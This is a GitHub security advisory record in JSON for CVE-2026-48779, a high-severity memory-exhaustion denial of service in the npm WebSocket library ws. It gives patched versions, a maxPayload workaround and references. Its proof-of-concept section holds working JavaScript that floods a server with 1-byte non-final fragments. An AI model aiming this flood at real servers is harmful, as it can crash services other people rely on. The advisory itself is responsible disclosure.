{"schema_version":"1.7.5","id":"GHSA-96hv-2xvq-fx4p","published":"2026-06-15T16:34:23Z","modified":"2026-07-13T15:49:19.712225283Z","aliases":["CVE-2026-48779"],"related":["CGA-jwxr-366v-9q24"],"summary":"ws: Memory exhaustion DoS from tiny fragments and data chunks","details":"### Impact\n\nA high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n  const data = Buffer.alloc(1);\n  const options = { fin: false };\n  const { port } = wss.address();\n  const ws = new WebSocket(`ws://localhost:${port}`);\n\n  ws.on('open', function () {\n    (function send() {\n      ws.send(data, options, function (err) {\n        if (err) return;\n        send();\n      });\n    })();\n  });\n\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n\nwss.on('connection', function (ws) {\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.\n\n### Credits\n\nThe vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).","affected":[{"package":{"name":"ws","ecosystem":"npm","purl":"pkg:npm/ws"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.1.0"},{"fixed":"5.2.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json"}},{"package":{"name":"ws","ecosystem":"npm","purl":"pkg:npm/ws"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.2.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json"}},{"package":{"name":"ws","ecosystem":"npm","purl":"pkg:npm/ws"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.5.11"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json"}},{"package":{"name":"ws","ecosystem":"npm","purl":"pkg:npm/ws"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.21.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json"}}],"references":[{"type":"WEB","url":"https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48779"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json"},{"type":"PACKAGE","url":"https://github.com/websockets/ws"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489661"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-48779"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37272"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:36820"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:36754"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:34342"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:33574"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:33183"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:33173"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:33163"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:33160"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:33155"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:29197"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:27171"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:26638"}],"database_specific":{"cwe_ids":["CWE-1050","CWE-400","CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-06-15T16:34:23Z","nvd_published_at":"2026-06-17T13:20:42Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}